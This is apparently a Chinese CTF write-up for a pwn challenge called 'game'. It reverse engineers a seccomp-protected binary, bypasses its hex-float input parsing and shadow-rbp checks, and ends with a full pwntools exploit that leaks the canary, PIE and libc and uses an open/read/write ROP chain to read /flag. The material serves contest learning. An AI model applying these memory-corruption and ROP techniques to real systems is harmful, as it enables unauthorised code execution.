2026长城杯决赛game题解
主要还是放在逆向上
game
我们这个题目重点还是在逆向,核心并不是放在利用上
逆向
这个是主函数
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x3Cu);
menu();
seccomp();
start();
}seccomp和之前一样,只不过是多了一点规则,显的很乱
我们来看一下seccomp总结的一些点
这里对比一下上一个题目,上一个题目真实是这样的
prog.len = 8;
prog.filter = filter;
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);没有还原的伪代码是这样的
__int64 v3; // r14
ssize_t v4; // rax
int v5; // [rsp+0h] [rbp-98h] BYREF
_QWORD *v6; // [rsp+8h] [rbp-90h]
_QWORD v7[17]; // [rsp+10h] [rbp-88h] BYREF
v7[9] = __readfsqword(0x28u);
v7[2] = 32;
memset(buf_, 0, sizeof(buf_));
v7[0] = 0x400000020LL;
v7[1] = 0xC000003E05000015LL;
v7[3] = 0x4000000000030035LL;
v7[4] = 0x3B00020015LL;
v7[5] = 0x14200010015LL;
v7[6] = 0x7FFF000000000006LL;
v7[7] = 0x8000000000000006LL;
LOWORD(v5) = 8;
v6 = v7;
if ( prctl(38, 1, 0, 0, 0) >= 0 && prctl(22, 2, &v5) >= 0 )对比一下这个题目,这里是有21条规则
LOWORD(v2) = 21;
if ( prctl(38, 1, 0, 0, 0, v0, v2, &n32) )
sub_1987("Failed to enable no_new_privs.");
if ( prctl(22, 2, &v2) )
sub_1987("Failed to lock the archive.");之后还有一个注意的是这个反编译的噪声,这里第一个prctl看着是传递了这么多的参数,实际上看汇编的话是传递的是和对比的那个参数是一样的,这个点需要注意
.text:0000000000001EF8 mov r8d, 0
.text:0000000000001EFE mov ecx, 0
.text:0000000000001F03 mov edx, 0
.text:0000000000001F08 mov esi, 1
.text:0000000000001F0D mov edi, 26h ; '&' ; option
.text:0000000000001F12 mov eax, 0
.text:0000000000001F17 call _prctl然后还有一个注意的点,这里有一部是filter指针指向filter的区域的,汇编是很清楚的
.text:0000000000001EEA lea rax, [rbp+var_B0]
.text:0000000000001EF1 mov [rbp+var_C0.filter], rax但是我们看伪代码是没有的这一步的,给我们省略了,或者是混在了传参了
prog_.len = 21;
if ( prctl(38, 1, 0, 0, 0, v0, *&prog_.len, &n32) )
sub_1987("Failed to enable no_new_privs.");我们一开始还原失败,这里也是识别出bug了(这个在伪代码是看不出来什么区别的)
.text:0000000000001EEA lea rax, [rbp+var_B0]
.text:0000000000001EF1 mov [rbp-0B8h], rax 之后进入功能函数,这个题目的难点主要是在于如何交互
void __noreturn start()
{
void (__noreturn *p_Unknown_command.)(); // rdi
unsigned __int64 n3; // [rsp+8h] [rbp-8h]
p_Unknown_command. = start;
_cyg_profile_func_enter();
while ( 1 )
{
menu_0();
n3 = input_0();
if ( n3 == 3 )
{
puts("Goodbye, archivist.");
_exit(0);
}
if ( n3 > 3 )
{
LABEL_10:
p_Unknown_command. = "Unknown command.";
puts("Unknown command.");
}
else if ( n3 == 1 )
{
draft(p_Unknown_command.);
}
else
{
if ( n3 != 2 )
goto LABEL_10;
archive(p_Unknown_command.);
}
}
}这里的话我们追进input_0函数,因为这个的返回值决定了后续分支的走法
unsigned __int64 input_0()
{
unsigned __int64 v0; // rbx
unsigned __int64 target_[2]; // [rsp+0h] [rbp-30h] BYREF
char heap_heap[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
_cyg_profile_func_enter();
memset(heap_heap, 0, sizeof(heap_heap));
input1(heap_heap, 8u);
target_[0] = 0;
input2(heap_heap, target_);
target_[1] = target_[0];
v0 = target_[0];
_cyg_profile_func_exit();
return v0;
}我们看到这里主要是target,然后我们追进去,这里当时是在赛场上不断调试调试出来的,压根没有现在分析看起来的这么轻松
首先看第一个函数,主要是往heap_heap这个数组里面写入数值(命名为这个是因为heap是用来存储的,这样的话从意义层面是更好理解的)
值得招笑的是7b的小模型连这个函数实现的功能逻辑都看不明白,认为回车符没有终止写入(虽然说从某种意义上确实),这个主要是实现了一个gets的功能
__int64 __fastcall input1(__int64 heapheap, unsigned __int64 n_8)
{
__int64 idx_1; // rbx
__int64 index; // rax
char buf; // [rsp+17h] [rbp-29h] BYREF
__int64 idx; // [rsp+18h] [rbp-28h]
ssize_t v7; // [rsp+20h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-18h]
v8 = __readfsqword(0x28u);
_cyg_profile_func_enter();
idx = 0;
if ( n_8 )
{
while ( idx + 1 < n_8 ) // 8个长度,写7个字符
{
buf = 0;
v7 = read(0, &buf, 1u);
if ( v7 <= 0 ) // 检测问题
_exit(0);
if ( buf == '\n' )
break;
index = idx++;
*(index + heapheap) = buf;
}
*(heapheap + idx) = 0;
if ( n_8 == idx + 1 ) // 吸收回车符
{
buf = 0;
while ( read(0, &buf, 1u) > 0 && buf != '\n' )
;
}
idx_1 = idx;
}
else
{
idx_1 = 0;
}
_cyg_profile_func_exit();
return idx_1;
}之后我们主要来看第二个函数,这个的话很复杂,主要是当时是看到了一个浮点数,这里的话首先是不能包含x这个字符,之后会对我们输入的字符进行%ld的格式比较,这里还会比较大小,对这个题目没有用,因为我们只需要关注这里的返回值即可,通过这两个判断就能实现赋值的操作
unsigned __int64 __fastcall input2(const char *heap_heap, unsigned __int64 *target)
{
double heapheapheap; // xmm0_8
__int64 size; // [rsp+1Ch] [rbp-224h]
unsigned __int64 num; // [rsp+20h] [rbp-220h]
unsigned __int8 heap[256]; // [rsp+30h] [rbp-210h] BYREF
char num2[264]; // [rsp+130h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+238h] [rbp-8h]
v8 = __readfsqword(0x28u);
_cyg_profile_func_enter();
*target = 0;
memset(heap, 0, sizeof(heap));
memset(num2, 0, 0x100u);
size = strlen(heap_heap);
if ( size > 19 ) // 这里怎么写19
LODWORD(size) = 19;
memcpy(heap, heap_heap, size);
if ( !strchr(heap, 'x') ) // 不能包含x
{
heapheapheap = strtod(heap, 0);
if ( heapheapheap >= 9.223372036854776e18 )
num = (heapheapheap - 9.223372036854776e18) ^ 0x8000000000000000LL;
else
num = heapheapheap;
sprintf(num2, "%ld", num); // 这里是进行转化了的
if ( judge1(heap, num2) == 1 && !judge(heap, num) )
*target = num; // 这里走不了就很难受
}
_cyg_profile_func_exit();
return v8 - __readfsqword(0x28u);
}这里是第一个判断
这个第一个while的循环主要是定义了一个哈希桶类似,长度有264字节,就是对有的字符标记为1
之后的话对ld存储到num2进行比较,假如说有相同的,就会跳过循环,然后不进行赋值操作
__int64 __fastcall judge1(_BYTE *a1, _BYTE *a2)
{
unsigned int v2; // ebx
_BYTE buf_[264]; // [rsp+20h] [rbp-120h] BYREF
unsigned __int64 v7; // [rsp+128h] [rbp-18h]
v7 = __readfsqword(0x28u);
_cyg_profile_func_enter();
memset(buf_, 0, 0x100u);
while ( *a1 )
buf_[*a1++] = 1;
while ( *a2 )
{
if ( buf_[*a2] ) // 这个判断蠢sb
{
v2 = 0;
goto LABEL_10;
}
++a2;
}
v2 = 1;
LABEL_10:
_cyg_profile_func_exit();
return v2;
}第二个判断就没有这么不合理,基本都能满足返回值的要求,只要解析的能合理进行
__ctype_b_loc() 返回的是一张字符分类表,表里每个字符都有一组 bit 标志
而0x2000是空白字符的标识
这个的话见了很多次,原型函数的话差不多是isspace或者是isxdigit
__int64 __fastcall judge(unsigned __int8 *heapheap, __int64 num)
{
unsigned int var; // ebx
__int64 v4; // [rsp+10h] [rbp-30h] BYREF
unsigned __int8 *heap; // [rsp+18h] [rbp-28h]
__int64 num_1; // [rsp+20h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-18h]
v7 = __readfsqword(0x28u);
_cyg_profile_func_enter();
heap = heapheap;
v4 = 0;
num_1 = 0;
while ( ((*__ctype_b_loc())[*heap] & 0x2000) != 0 ) //跳过空白字符
++heap;
if ( *heap == '+' ) //允许有+号
++heap;
if ( *heap == '0' && (heap[1] == 'x' || heap[1] == 'X') )
{
if ( ((*__ctype_b_loc())[heap[2]] & 0x1000) != 0 )
{
*__errno_location() = 0;
num_1 = __isoc23_strtoull(heap, &v4, 0x10);//解析成10进制
if ( *__errno_location() )
var = 0;
else
LOBYTE(var) = num_1 == num;
}
else
{
var = 0;
}
}
else
{
var = 0; // 走了这里
}
_cyg_profile_func_exit();
return var;
}然后直接说结论吧,这个绕过是比较难想的在断网的环境下,需要用0Xxxpxx这个这个格式的数据去进行绕过
之后我们这里就能进入这个函数
unsigned __int64 __fastcall draft(__int64 p_Unknown_command.)
{
_BYTE s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
_cyg_profile_func_enter();
puts("\n[Chronicle Draft]");
printf("Draft size: ");
size = input_0();
if ( size && size <= 0xE8u )
{
memset(s, 0, 0x10u);
puts("Write your draft:");
input(s, size);
printf("Preview bytes: ");
size2 = input_0();
if ( size2 <= 0x30u )
{
puts("Archive preview:");
if ( size2 )
leak(s, size2);
size2 = 0;
size = 0;
puts("\nThe scribes seal the draft.");
}
else
{
puts("That preview would damage the parchment.");
}
}
else
{
puts("The guild rejects that draft size.");
}
_cyg_profile_func_exit(); // 这里有个返回地址的检查,修改返回地址直接退出
return v3 - __readfsqword(0x28u);
}诶,这里提供了一个gadget片段,当时是没有往这个想的(看这个名字还以为是库函数来着),这里看了看汇编才突然意识到
.text:00000000000012D5 ; __unwind {
.text:00000000000012D5 push rbp
.text:00000000000012D6 mov rbp, rsp
.text:00000000000012D9 mov [rbp+var_8], rdi
.text:00000000000012DD mov [rbp+var_10], rsi
.text:00000000000012E1 nop
.text:00000000000012E2 pop rbp
.text:00000000000012E3 retn
.text:00000000000012E3 ; } // starts at 12D5之后这里是给了打印函数,这里我们调试看到是走的局部变量打印的,默认常规数据并没有走全局变量的分支的
这里是有越级的,可以利用else分支打印出来pie和canary的地址,主要一开始别输入特定的数值,一般是触发不了if分支的。当时看的效果,现在是看原理,有ai指导看起来是轻松很多了的
__int64 __fastcall leak(__int64 p_s, unsigned __int64 n0x30)
{
unsigned __int64 n0x30_1; // [rsp+10h] [rbp-20h]
size_t n; // [rsp+18h] [rbp-18h]
_cyg_profile_func_enter();
for ( n0x30_1 = 0; n0x30_1 < n0x30; n0x30_1 += n )
{
n = n0x30 - n0x30_1;
if ( n0x30 - n0x30_1 > 8 )
n = 8;
if ( encry((p_s + n0x30_1)) )
write(1, &buf_, n);
else
write(1, (p_s + n0x30_1), n);
}
return _cyg_profile_func_exit();
}想要走全局变量的分支的话,需要控制好sub_1320的返回值
__int64 __fastcall encry(__int64 *a1)
{
unsigned int v1; // ebx
_cyg_profile_func_enter();
v1 = sub_1320(*a1);
_cyg_profile_func_exit();
return v1;
}也就是这里,让2返回非零数据即可
这里的话需要让v1第6和第7字节是0,第5字节大于0x6f即可
__int64 __fastcall sub_1320(__int64 a1)
{
bool v1; // al
unsigned int v2; // ebx
_cyg_profile_func_enter();
v1 = !__PAIR16__(BYTE6(a1), HIBYTE(a1)) && BYTE5(a1) > 0x6Fu;
v2 = v1;
_cyg_profile_func_exit();
return v2;
}也就是我们传入的数值,下就是这面这个范围,之后会把bss里面的数值打印出来
这里不能看到bss是数组名,然后就认为打印是指针,其实&加上是打印数组里面的内容,不加的话是打印首个元素的内容
0000700000000000 <= x <= 0x0000ffffffffffff还有就是这个HIBYTE对应的是7字节,这种移位的看汇编是清晰很多的
.text:0000000000001343 mov rax, [rbp+var_28]
.text:0000000000001347 shr rax, 38h
.text:000000000000134B mov [rbp+var_13], al
.text:000000000000134E mov rax, [rbp+var_28]
.text:0000000000001352 shr rax, 30h
.text:0000000000001356 mov [rbp+var_12], al
.text:0000000000001359 mov rax, [rbp+var_28]
.text:000000000000135D shr rax, 28h这最后的话就是这个类似影子栈,这里主要是检查rbp
首先rbp不能是0,要不直接结束
之后就是检查是否满足对齐要求
__int64 __fastcall _cyg_profile_func_exit()
{
__int64 vars0; // [rsp+20h] [rbp+0h]
if ( !vars0 )
sub_1249();
sub_1278(vars0 + 8);
return sub_12B8();
}之后追进sub_1278这个函数里面,首先是检查了7f开头,之后检查了低位的对齐,也就是给否是8字节对齐(换句话说就是低三位是不是0)
当时就很可惜,看这个名字以为是专门为影子栈设计的库函数就没有多想(主要是那个浮点数的绕过给我整破防了我靠,等绕过去就已经很迷糊了)
__int64 __fastcall sub_1278(__int64 a1)
{
__int64 result; // rax
if ( (a1 & 0xFF0000000000LL) != 0x7F0000000000LL || (result = a1 & 7, (a1 & 7) != 0) )
sub_1249();
return result;
}至此,逆向分析完成
利用
思路的话很简单,绕过浮点数进入选项1,之后泄露出来pie和canary之后
这个题目难点是泄露libc
我们泄露出来canary之后就能进行溢出,溢出的时候伪造好7f数值,之后再用pop_rbp这个指令片段衔接,实现绕过这个rbp检查的栈迁移,我们在栈迁移之前顺带打印出来libc,返回到这个位置控制size大小即可
我们这里可以泄露bss上的stdin指针实现泄露,之后还需要进行衔接
.text:0000000000002053 lea rax, aPreviewBytes ; "Preview bytes: "
.text:000000000000205A mov rdi, rax ; format
.text:000000000000205D mov eax, 0
.text:0000000000002062 call _printf
.text:0000000000002067 call input_0这里我们是泄露了stdin指针的,因为这个draft里面的每个自定义函数基本都有对于返回地址的检查的
所以说克服了泄露libc这个难点之后,还需要去克服canary以及影子rbp的问题,这里是另外的一个难点,这里是无法用之前的那种迁移到bss上泄露stdin指针的方式的,一旦真正迁移过去必定报错
所以找了另外的一个方法去进行泄露,这里的话我们借用magicgadget进行泄露,这个是可以直接返回一个libc指针的
b+ 0x5a9361411112 leave
► 0x5a9361411113 ret <__ctype_b_loc@plt>
↓
0x5a9361410140 <__ctype_b_loc@plt> jmp qword ptr [rip + 0x3e8a] <__ctype_b_loc>
↓
0x79bd2772c9c0 <__ctype_b_loc> endbr64
0x79bd2772c9c4 <__ctype_b_loc+4> mov rax, qword ptr [rip + 0x1c7415] RAX, [0x79bd278f3de0] => 0xffffffffffffffa0
0x79bd2772c9cb <__ctype_b_loc+11> add rax, qword ptr fs:[0] RAX => 0x79bd276ee6e0 (0xffffffffffffffa0 + 0x79bd276ee740)
0x79bd2772c9d4 <__ctype_b_loc+20> ret <0x5a9361410a24>
↓
0x5a9361410a24 mov rdi, rax RDI => 0x79bd276ee6e0 —▸ 0x79bd278a38c0 ◂— 0x2000200020002
0x5a9361410a27 call puts@plt <puts@plt>这里之后我们紧接着push rbp,这样的话就能再次残留在栈上,绕过对于rbp的检查,这样之后我们就能直接可以拿到flag了,最终exp如下
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux','splitw','-l 100']
file = "./game"
io = process(file)
elf = ELF(file)
libc = ELF("./libc.so.6")
def dbg():
#gdb.attach(io,"b *$rebase(0x14C8)")
#gdb.attach(io,"b *$rebase(0x1C6B)")
#gdb.attach(io,"b *$rebase(0x1CAD)")
gdb.attach(io,"b *$rebase(0x2112)")
#gdb.attach(io,"b *$rebase(0x1902)")
#pause()
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
sa = lambda x,y:io.sendlineafter(x,y)
rf= lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
rt = lambda x:io.recvuntil(x if isinstance(x,bytes) else x.encode())
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x:int(io.recv(x),16)
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
def pwn1():
#dbg()
rt(b'>')
#s(b'0X30p-1')
s(b'0X04p-2') #输入浮点数,进入选项一
s(b'\n')
rt("Draft size: ")
#s(b'0Xffp-2') #这里写入的数值是0x3f,这个空间可以溢出
sl(b'0X04p-2')
rt("Write your draft:\n")
s(b'a')
#0x3f这个是size的大小,用这个偏移泄露canary和libc
rt("Preview bytes: ")
#之后就是这里找泄漏点的偏移
#sl(b'0X54p-2') #0x15
sl(b'0X60p-1')
rt("Archive preview:\n")
data = io.recv(8)
print(data)
data = io.recv(8)
print(data)
canary = io.recv(8)
print(canary)
canary = u64(io.recv(8))
print(hex(canary))
rt(b'\x00'*8)
pie = ru(6)-0x21bd
print(hex(pie))
rt("\nThe scribes seal the draft.")
bss = elf.bss() + pie
vuln = pie + 0x1F8D #返回到draft函数
gdb.attach(io)
rt(b'>')
s(b'0X04p-2')
s(b'\n')
rt("Draft size: ")
sl(b'0X74p1')
rt("Write your draft:\n")
pay = b'a'*0x18 + flat(canary,bss+0x200,pie + 0x1140,pie+0x1A24,0,vuln)
pay = pay.ljust(0xe8,b'\0')
s(pay)
rt("Preview bytes: ")
sl(b'0')
rt("Archive preview:\n")
rt("the draft.\n")
lib = ru(6) - 0x1b28c0
libc.address = lib
print("libc:",hex(lib))
rax = libc.address + 0x00000000000dd237
rdi = libc.address + 0x000000000010f78b
rsi = libc.address + 0x0000000000110a7d
rbx = libc.address + 0x00000000000586e4
mov_rdx_rbx = libc.address + 0x00000000000b0153
syscall = libc.address + 0x0000000000098fb6
rsp = libc.address + 0x000000000003c068
rt("Draft size: ")
sl(b'0X74p1')
rt("Write your draft:\n")
pay = b'a'*0x18 + flat(canary,0x7f0000000000)
pay += flat(rax,0,rsi,bss,rbx,0x200,mov_rdx_rbx,0,0,0,syscall,rsp,bss+8)
pay = pay.ljust(0xe8,b'\0')
s(pay)
rt("Preview bytes: ")
sl(b'0')
rt("Archive preview:\n")
flag_addr = bss
store_addr = bss + 0x400
pay = flat(rax,2,rdi,flag_addr,rsi,0,syscall)
pay += flat(rax,0,rdi,3,rsi,store_addr,rbx,0x30,mov_rdx_rbx,0,0,0,syscall)
pay += flat(rax,1,rdi,1,rsi,store_addr,syscall)
s(b'/flag\0\0\0'+pay)
if __name__ == "__main__":
pwn1()
it()